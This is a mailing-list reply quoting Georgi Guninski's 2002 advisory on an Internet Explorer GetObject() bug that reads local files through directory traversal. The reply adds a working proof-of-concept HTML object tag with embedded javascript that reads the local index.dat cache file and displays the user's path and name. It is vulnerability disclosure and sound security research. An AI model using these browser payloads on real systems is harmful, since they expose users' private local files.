--- Georgi Guninski <guninski@guninski.com> wrote: > Georgi Guninski security advisory #52, 2001 > > IE GetObject() problems > > Systems affected: > Patched IE 6.0, somewhat patched 5.5 Win2K > > Risk: High > Date: 1 January 2002 > > Legal Notice: > This Advisory is Copyright (c) 2001 Georgi Guninski. > You may distribute it unmodified. > You may not modify it and distribute it or > distribute parts > of it without the author's written permission. > > Disclaimer: > The information in this advisory is believed to be > true based on > experiments though it may be false. > The opinions expressed in this advisory and program > are my own and > not of any company. The usual standard disclaimer > applies, > especially the fact that Georgi Guninski is not > liable for any damages > caused by direct or indirect use of the information > or functionality > provided by this advisory or program. Georgi > Guninski bears no > responsibility for content or misuse of this > advisory or program or > any derivatives thereof. > > Description: > > IE allows reading local files due to a bug in > GetObject(). > Reading local files may lead to executing arbitrary > programs. > > Details: > > GetObject() has a bad security record - > check http://www.guninski.com/browsers.html > The new bug is quite similar to: > http://www.guninski.com/getobject1-desc.html > the difference being: > ---------------------- > a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile"); > ---------------------- > It is funny that directory traversal on a http: URL > leads to reading local files. There are surely a lot more. I found one which gives local directory information including user name which uses directory traversal. Here is the universal location of index.dat: file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat (There are a lot of url's like that, they have varying degrees of success depending on where they are put). The below object uses that url, in the alert that pops up it shows the full file path, ie, C:\Documents and Settings\UserName\Local Settings\Temporary Internet Files\Content.IE5 under the "Location" parameter value. <object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="funObject" width=100% height=100%> <PARAM NAME="ExtentX" VALUE="5292"> <PARAM NAME="ExtentY" VALUE="7937"> <PARAM NAME="ViewMode" VALUE="1"> <PARAM NAME="Offline" VALUE="1"> <PARAM NAME="Silent" VALUE="1"> <PARAM NAME="RegisterAsBrowser" VALUE="1"> <PARAM NAME="RegisterAsDropTarget" VALUE="1"> <PARAM NAME="Height" VALUE="500"> <PARAM NAME="Width" VALUE="500"> <PARAM NAME="AutoArrange" VALUE="1"> <PARAM NAME="NoClientEdge" VALUE="1"> <PARAM NAME="AlignLeft" VALUE="1"> <PARAM NAME="Transparent" VALUE="1"> <PARAM NAME="ViewID" =VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}"> <PARAM NAME="Location" VALUE="javascript:document.writeln('<object classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" name="funObject2"><PARAM NAME="Location" VALUE="file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat"></object><script>setTimeout("alert(funObject2.document.body.innerHTML)",500);</script\>')"> </object> > > Workaround/Solution: > > Disable Active Scripting and never turn it on. > Better, do not use IE in hostile environments such > as the internet. > > Vendor status: > > Microsoft was notified on 11 December 2001. > They had 3 weeks to produce a patch but didn't. > > Regards, > Georgi Guninski > http://www.guninski.com __________________________________________________ Do You Yahoo!? Send your FREE holiday greetings online! http://greetings.yahoo.com